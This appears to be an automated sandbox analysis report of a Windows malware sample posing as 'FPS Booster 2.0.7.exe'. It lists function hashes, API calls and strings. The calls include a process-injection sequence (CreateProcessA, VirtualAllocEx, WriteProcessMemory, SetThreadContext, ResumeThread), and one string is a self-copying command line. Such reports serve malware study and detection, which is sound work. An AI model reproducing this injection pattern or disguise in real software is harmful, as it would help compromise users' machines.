Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID:
String ID: Q
API String ID: 0-3463352047
Opcode ID: ba6c8875b29b1374c66045828cf6187715f6f50a415152b8ee3f5add9463c379
Instruction ID: b2bc318a026e5c655b71e169dbb37928f7fd14c868849639ed081edcc5b92892
Opcode Fuzzy Hash: ba6c8875b29b1374c66045828cf6187715f6f50a415152b8ee3f5add9463c379
Instruction Fuzzy Hash: 4432C5B0D00218CFEB64CFA9D944BDDB7B2BB88314F14C19AD018B7295D7799A85DF24

Function 00F3CB04 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,00F3EEC7), ref: 00F3FD9F

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 6f3a6f31e0f9adba314bcedda1a5ee9db58d39d0c68d31a1985a222c49bf8718
Instruction ID: ba017ed6ece09a8dd293006deabfc1bfd1370fd32b445a0fb4c15d917dead90b
Opcode Fuzzy Hash: 6f3a6f31e0f9adba314bcedda1a5ee9db58d39d0c68d31a1985a222c49bf8718
Instruction Fuzzy Hash: 39110FB1D0065A9BDB00DF9AC948B9EFBF4FB48324F10816AD918B7240D3B4A904CFE1

Function 00F32F60 Relevance: .4, Instructions: 430COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d185b4e464592032b931d69881fef23a576e74ffcf51ee531c04df6700b701f6
Instruction ID: 35d9c54035f2a518f34057919bf0aac007ec2e6f95377d6cec010737708c61cb
Opcode Fuzzy Hash: d185b4e464592032b931d69881fef23a576e74ffcf51ee531c04df6700b701f6
Instruction Fuzzy Hash: 48F16C70A002198FDB18DFA9D8947AE7BB6BF88310F248159E816EB395DF34DE41DB50

Function 00F33698 Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78bff7a08adb2e273cfd56390f71812a56b257a8d92a02d97d158483f68ac0dc
Instruction ID: 3a483cdeac8656d780dc7e1cfddea30c389e569f99c225e824e2a7291f7b33ec
Opcode Fuzzy Hash: 78bff7a08adb2e273cfd56390f71812a56b257a8d92a02d97d158483f68ac0dc
Instruction Fuzzy Hash: B3E13B75E00219DFCB14CFA9C884AADBBB6BF88321F158169E845EB361D734DE41EB50

Function 00F3CED6 Relevance: 1.8, APIs: 1, Instructions: 250
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 00F3D116

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c085ee96b8477cf399e6526faad15444d1ca24d07ef81c26a8b65cd0ab00700c
Instruction ID: 8e9cb7d5106137aa1e913a36e07baa343901b7a75e486103f3c2932f51f3d39e
Opcode Fuzzy Hash: c085ee96b8477cf399e6526faad15444d1ca24d07ef81c26a8b65cd0ab00700c
Instruction Fuzzy Hash: 81A16B71D00319CFEB24DFA8D8417EEBBB2BF48324F148169E808A7240DB759985DF91

Function 00F3CEE0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 00F3D116

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4ec7feb436362abe71e249b60d670e2b32e61c7d79d3ad0c3f6e68464cd27317
Instruction ID: 97d5df8109df8226aa1d14e3ec95815974c41b73ad1d4d3b59fe6f3e04c7849f
Opcode Fuzzy Hash: 4ec7feb436362abe71e249b60d670e2b32e61c7d79d3ad0c3f6e68464cd27317
Instruction Fuzzy Hash: 71915A71D00719CFEB24DFA9D841BEEBBB2BF48324F148169E808A7244DB749985DF91

Function 00F30C10 Relevance: 1.6, APIs: 1, Instructions: 127
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 00F30D3F

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5969b79a50305d3b7e65660cdca0109368443feedc614d5ecb5e0722837fd649
Instruction ID: 7b1af479b61edbd36414f845f7d266adf48ee24f6c02a6b924884c20660cc452
Opcode Fuzzy Hash: 5969b79a50305d3b7e65660cdca0109368443feedc614d5ecb5e0722837fd649
Instruction Fuzzy Hash: A541AC74D047888FDB11CFA9C8A179EBFF1AF49320F14816AD804EB391DBB89845DB51

Function 00F30C50 Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 00F30D3F

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6093cb34685d35b47fe3959bbd574cf2552bfc28e69d50ee9bee39db0a54c3f7
Instruction ID: e91a487313b23265b36bc1886ec94f2410fb487342902e1e30813adc4fc6fd22
Opcode Fuzzy Hash: 6093cb34685d35b47fe3959bbd574cf2552bfc28e69d50ee9bee39db0a54c3f7
Instruction Fuzzy Hash: E84127B1D006589FDB14CFA9C89579DBBF1FF48320F14812AE818AB394DBB4A841CB91

Function 00F3CC50 Relevance: 1.6, APIs: 1, Instructions: 76
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 00F3CCE8

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 5078c73a052fa41b112d9a72bfd21702693a3629945dc06de1e0c12f8ee94b69
Instruction ID: 72fe5ddbafc7a8ce9649b98f3c176f98b91fe09c8009c4f0ac256ce671276116
Opcode Fuzzy Hash: 5078c73a052fa41b112d9a72bfd21702693a3629945dc06de1e0c12f8ee94b69
Instruction Fuzzy Hash: B42139B6D003599FDB00CFA9C885BDEBBF5FF48320F10842AE919A7240D7799955DBA0

Function 00F3CB6A Relevance: 1.6, APIs: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00F3CC06

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 69821fce8bade6d135ecedcd2442f09b696ba9d47981305c2bff1e24c9fa3aec
Instruction ID: af7c2629f017bc84ff3edb71b4f6cad8c7794acf911bcfb3ddcc0b2885661149
Opcode Fuzzy Hash: 69821fce8bade6d135ecedcd2442f09b696ba9d47981305c2bff1e24c9fa3aec
Instruction Fuzzy Hash: E021F172C083898FDB11CFA9C4457DEBFF1EF4A324F18849AD095AB252C7398505CB91

Function 00F3C6B0 Relevance: 1.6, APIs: 1, Instructions: 72
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 00F3C736

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: a966a83f5b324e0c131daea0de8fd8827133e870ad38729b2a9526bac76f79bb
Instruction ID: 3ddcde5f5b6278673549b7aa9b2eabf121c3f1db847baa31e63ce977648d32cb
Opcode Fuzzy Hash: a966a83f5b324e0c131daea0de8fd8827133e870ad38729b2a9526bac76f79bb
Instruction Fuzzy Hash: B4215972D002098FDB10DFAAC8857EEBBF4EF88324F14842AD518B7640D7789A45CFA0

Function 00F3C8D0 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetKernelObjectSecurity.KERNELBASE(?,00000004,00000000,?,?,?,?,?,?,?,?,00F3E212,?), ref: 00F3E38E

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: 92226dfcd45988dd5cf58d5a4c63ba5603cf219b4959592b30f5b0449e3b5bc9
Instruction ID: 25211397e6c5134ab83facbdbbc743b7400bec117dffa1bde3e1ff418f9f6413
Opcode Fuzzy Hash: 92226dfcd45988dd5cf58d5a4c63ba5603cf219b4959592b30f5b0449e3b5bc9
Instruction Fuzzy Hash: B9214A71900209CFDB10CFAAC484BDEBBF4EF48320F14842AD458A7281D774A944CFA5

Function 00F3CC58 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 00F3CCE8

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: da6943bbb336d86823d17ac80627d5e9b5bd85589b6948aa08464a1b942b387b
Instruction ID: 1b3f004a18bd7724cf1518b9690b40ee925832936708b312aca226f9f09081de
Opcode Fuzzy Hash: da6943bbb336d86823d17ac80627d5e9b5bd85589b6948aa08464a1b942b387b
Instruction Fuzzy Hash: 3E2125B1D003599FDB10CFAAC885BDEBBF5FF48320F10842AE919A7240D7789954DBA0

Function 00F3C8DC Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetKernelObjectSecurity.KERNELBASE(?,00000004,00000000,?,?,?,?,?,?,?,?,00F3E212,?), ref: 00F3E38E

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: 141208be1d8dee3633c047daf8c1e029fe9105c0f9a4d69f03bf770fb74d15b8
Instruction ID: 057069958a0acd04ce0f53b4ac78fda85ed0868fdd46350dfad23c93fe401340
Opcode Fuzzy Hash: 141208be1d8dee3633c047daf8c1e029fe9105c0f9a4d69f03bf770fb74d15b8
Instruction Fuzzy Hash: D0211871900249DFDB10DF9AC485BEEBBF4EF48320F148429E519A7381D778A944CFA5

Function 00F3C6B8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 00F3C736

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 2cc41217da41d0edbcc77304bc78ac6cfcaf072064c870a12ee29f574b9f5baa
Instruction ID: 20e44332895e98268b93c80cfe0e8dc6565664df5db8f11da31da91e04b49591
Opcode Fuzzy Hash: 2cc41217da41d0edbcc77304bc78ac6cfcaf072064c870a12ee29f574b9f5baa
Instruction Fuzzy Hash: 85211575D003098FDB10DFAAC4857EEBBF4EF48320F54842AD959A7241D7789945CFA1

Function 00F3E308 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetKernelObjectSecurity.KERNELBASE(?,00000004,00000000,?,?,?,?,?,?,?,?,00F3E212,?), ref: 00F3E38E

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: baa1ed0c53ec7fc1af73293443cae01de4a03ad1d097a04876997fcb04e841ee
Instruction ID: 3c8bab530e01f3b4f22405ce97ef0f6f8e0a14d4ce67049b7065f57ec5d3ce92
Opcode Fuzzy Hash: baa1ed0c53ec7fc1af73293443cae01de4a03ad1d097a04876997fcb04e841ee
Instruction Fuzzy Hash: 162137B19002098FDB14CFA9C4857DEBBF1EF48320F248429D519A7280D7789945CFA1

Function 00F3CB2C Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,00000050,?,?,?,?,00F3F190,?,00000040,00000032), ref: 00F3FF26

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 249dded46c02146fce3b71c261a633ecdf8345947d64aec838b0b77d86184b3a
Instruction ID: 82a3959216ca2f4351791cbe7fb9400e939046b13fcf48e7a25cd4fb6054030a
Opcode Fuzzy Hash: 249dded46c02146fce3b71c261a633ecdf8345947d64aec838b0b77d86184b3a
Instruction Fuzzy Hash: F321F776D04249DFDB10DF9AC844BDEBBF5EB49320F10842AE918A7251D374A944DFA1

Function 00F3ED20 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00F3ED9B

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d2e4009c87cc3cec1c74c088eb7a75253e121fdd75690450ac1547df66a7ca97
Instruction ID: 28e5b54377da457d98fcffe98ef4f238473d6ec09837fb817bd0c53640fdaaaf
Opcode Fuzzy Hash: d2e4009c87cc3cec1c74c088eb7a75253e121fdd75690450ac1547df66a7ca97
Instruction Fuzzy Hash: FF2106B6D002599FDB10DF9AC885BDEFBF4EF48320F108429E958A7251D3789A45CFA1

Function 00F3C978 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00F3ED9B

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8cd5111d29e6de6ea049d49d0519529853e04a0b6abe6e9429e27451d9c6b1ec
Instruction ID: 3f8a7a1d36117a737ad08469199f37b4cc6f1c8534637723c64d0a9ee41e67ec
Opcode Fuzzy Hash: 8cd5111d29e6de6ea049d49d0519529853e04a0b6abe6e9429e27451d9c6b1ec
Instruction Fuzzy Hash: 31210675900249DFDB10DF9AC884BDEFBF4EF48320F108429E958A7251D378A944CFA1

Function 00F3FEA9 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,00000050,?,?,?,?,00F3F190,?,00000040,00000032), ref: 00F3FF26

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 20a5a7570363f57b08f482edc8a26417dfc3f9c5b01c6eb4f072696d3aa5f3d8
Instruction ID: e4d7a5f315bb97926b06036ae5dfb0a5a71bdb2495657e11782165f5ac0725a4
Opcode Fuzzy Hash: 20a5a7570363f57b08f482edc8a26417dfc3f9c5b01c6eb4f072696d3aa5f3d8
Instruction Fuzzy Hash: 00213676D00249DFDB10CF9AC580BDEBBF5FB48320F10842AE958A7251D3789545CFA1

Function 00F3CB98 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00F3CC06

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4a28a7963c9dd77643dd8ce76b790c22ab44ff9145b38e77f7772f6d3673890c
Instruction ID: d1824d8d2fcb0a83afc6b0ed04043e2c8a45bb4b484aaf133052a86ca6c2cac6
Opcode Fuzzy Hash: 4a28a7963c9dd77643dd8ce76b790c22ab44ff9145b38e77f7772f6d3673890c
Instruction Fuzzy Hash: F01134729003499FDB10DFAAC845BDEBBF5EF48320F14842AE519A7250C779A950CFA1

Function 00F3C602 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 00F3C66A

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: daba00cc926f597d8beb056d4dee00ab8bda1c113702bb2f118fd66e4f102228
Instruction ID: 82b52ce1d55352f2a0ff75933320ffe7702233ccc295253c2f2a69b78fbddd73
Opcode Fuzzy Hash: daba00cc926f597d8beb056d4dee00ab8bda1c113702bb2f118fd66e4f102228
Instruction Fuzzy Hash: BB1158B1D003088FDB10DFAAC4457DEFBF4EB48320F248829C519A7240C7799A41CF94

Function 00F3C608 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 00F3C66A

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2342c42d30ede4e9bdd97a11f2a7ace1bd4604bee77bc5eea8469db9c17a508c
Instruction ID: 177f27d57a7dfd19162d33554f0c47697d65ee7003484480d23ea4131a3ce7a9
Opcode Fuzzy Hash: 2342c42d30ede4e9bdd97a11f2a7ace1bd4604bee77bc5eea8469db9c17a508c
Instruction Fuzzy Hash: EC1125B1D003498BDB10DFAAC4457DEFBF5AB88320F24842AD559A7240C779A944CFA5

Function 00F3FD30 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,00F3EEC7), ref: 00F3FD9F

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 5377a3f8f832a89afeb91a9f9e677fd1e887045705d90644581370e5fe77ec6a
Instruction ID: bed0f2a5c1a0fe74927d72bcf1c9a8d829f76704b05cc36543e3f5883c441dc7
Opcode Fuzzy Hash: 5377a3f8f832a89afeb91a9f9e677fd1e887045705d90644581370e5fe77ec6a
Instruction Fuzzy Hash: 241102B5D002599BDB00DF9AD844BDEFBB4FB49324F10816AD818A7240D378A905CFA2

Non-executed Functions

Function 00F3F1C2 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d5b5bcc1c2aa239a354aa763d88e0515882c07394c6c93a3b35b32f483e6ea9
Instruction ID: d5a04753635935faf6a3e195f6c9572f074c9d4ae03cd8acac0fbab0b79ed7c2
Opcode Fuzzy Hash: 0d5b5bcc1c2aa239a354aa763d88e0515882c07394c6c93a3b35b32f483e6ea9
Instruction Fuzzy Hash: 5BD1D371E012298FDB64CF69CC80BEDB7B2BF88314F1481EAD509A7255EB309E859F50

Function 00F3F2B6 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d4ff20e1dec9aae9d44d089a350a8cdf8f4d1272d8ab553d169bda7db36f73
Instruction ID: 970cf8b863a18cc62c14512808cbaa1d38d437c5c9e531e212cfac0ae30a2575
Opcode Fuzzy Hash: d5d4ff20e1dec9aae9d44d089a350a8cdf8f4d1272d8ab553d169bda7db36f73
Instruction Fuzzy Hash: 88B1B271E012298FDB64CF69CD80BEDB7B2BF88314F1481E6D509A7255EB309E859F50

Analysis Process: UNFOT5F1qt.exePID: 1460, Parent PID: 2000COMMON

Execution Graph

Execution Coverage:	64%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	59.3%
Total number of Nodes:	81
Total number of Limit Nodes:	10

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0040135A Relevance: 93.1, APIs: 43, Strings: 10, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(C:\Windows\system32\,00001000), ref: 0040136B
PathAddBackslashA.KERNELBASE(C:\Windows\system32\), ref: 00401375
GetWindowsDirectoryA.KERNEL32(00404C84,00001000), ref: 00401385
GetTempPathA.KERNEL32(00001000,00405C84), ref: 0040139F
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\,00000200), ref: 004013BB
GetEnvironmentVariableA.KERNEL32(APPDATA,00407C84,00001000), ref: 004013DD

Part of subcall function 00401907: FindResourceA.KERNEL32(00000000,00001001,0000000A), ref: 00401917
Part of subcall function 00401907: ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

FindResourceA.KERNEL32(00000000,00000001,0000000A), ref: 0040144C
SizeofResource.KERNEL32(00000000,00000000,00000000,00000001,0000000A,00000001), ref: 00401462
LoadResource.KERNEL32(00000000,00000000,00000000,00000000,00000001,0000000A,00000001), ref: 0040147D
ExitProcess.KERNEL32(?,?,?,?,004106BC,00000000,00406C84,C0000000,00000003,00000000,00000002,00000080,00000000,00406C84,FPS Booster 2.0.7.exe), ref: 00401897
ExitProcess.KERNEL32(00000000,?,?,?,?,004106BC,00000000,00406C84,C0000000,00000003,00000000,00000002,00000080,00000000,00406C84,FPS Booster 2.0.7.exe), ref: 0040189E

Strings

FPS Booster 2.0.7.exe, xrefs: 0040155C, 0040165F
C:\Windows\system32\, xrefs: 00401366, 00401370, 004015DE
C:\Dir1\SubDir, xrefs: 0040159F, 00401639
/c ping -n 3 127.0.0.1 & copy /Y ", xrefs: 004018A3
C:\Users\user\AppData\Local\Temp\, xrefs: 00401829, 00401833, 00401840
hF, xrefs: 0040149F, 004014BF
hF, xrefs: 0040148B
open, xrefs: 00401859
C:\Users\user\Desktop\, xrefs: 004013B4, 004013C0, 00401605
APPDATA, xrefs: 004013D8

Memory Dump Source

Source File: 00000002.00000002.1351346498.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNFOT5F1qt.jbxd

Similarity

API ID: Resource$ExitProcess$DirectoryFindPath$BackslashEnvironmentFileLoadModuleNameSizeofSystemTempVariableWindows
String ID: /c ping -n 3 127.0.0.1 & copy /Y "$APPDATA$C:\Dir1\SubDir$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\$C:\Windows\system32\$FPS Booster 2.0.7.exe$hF$hF$open
API String ID: 1865746177-1906841479
Opcode ID: 4de04ce6448b2387a50d34b486c6be45e57025f18a70911a56270827189b1638
Instruction ID: 87517960ec9dbd09822493e96d6633269da166b851f384452dd9e845d648968f
Opcode Fuzzy Hash: 4de04ce6448b2387a50d34b486c6be45e57025f18a70911a56270827189b1638
Instruction Fuzzy Hash: 3ED18271A44205AFFB24AFA1DD42FA93AB4EB04715F20403BF501B51F1DBBD6A908B1E

Function 004011CF Relevance: 47.3, APIs: 14, Strings: 13, Instructions: 53
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Shell32.dll,0040111C), ref: 004011D4
GetProcAddress.KERNEL32(ShellExecuteA,Shell32.dll), ref: 004011E9
GetProcAddress.KERNEL32(SHGetSpecialFolderPathA,0040111C), ref: 004011FE
LoadLibraryA.KERNEL32(shlwapi.dll,SHGetSpecialFolderPathA,0040111C), ref: 0040120D
GetProcAddress.KERNEL32(PathFindFileNameA,shlwapi.dll), ref: 00401222
GetProcAddress.KERNEL32(PathAddBackslashA,PathFindFileNameA), ref: 00401237
LoadLibraryA.KERNEL32(advapi32.dll,PathAddBackslashA,PathFindFileNameA,shlwapi.dll,SHGetSpecialFolderPathA,0040111C), ref: 00401246
GetProcAddress.KERNEL32(RegCreateKeyExA,advapi32.dll), ref: 0040125B
GetProcAddress.KERNEL32(RegSetValueExA,RegCreateKeyExA), ref: 00401270
GetProcAddress.KERNEL32(RegCloseKey,RegSetValueExA), ref: 00401285
LoadLibraryA.KERNEL32(ntdll.dll,RegCloseKey,RegSetValueExA,RegCreateKeyExA,advapi32.dll,PathAddBackslashA,PathFindFileNameA,shlwapi.dll,SHGetSpecialFolderPathA,0040111C), ref: 00401294
GetProcAddress.KERNEL32(RtlDecompressBuffer,ntdll.dll), ref: 004012A9
GetModuleFileNameA.KERNEL32(00000000,0040BC84,00001000,RtlDecompressBuffer,ntdll.dll,RegCloseKey,RegSetValueExA,RegCreateKeyExA,advapi32.dll,PathAddBackslashA,PathFindFileNameA,shlwapi.dll,SHGetSpecialFolderPathA,0040111C), ref: 004012BF
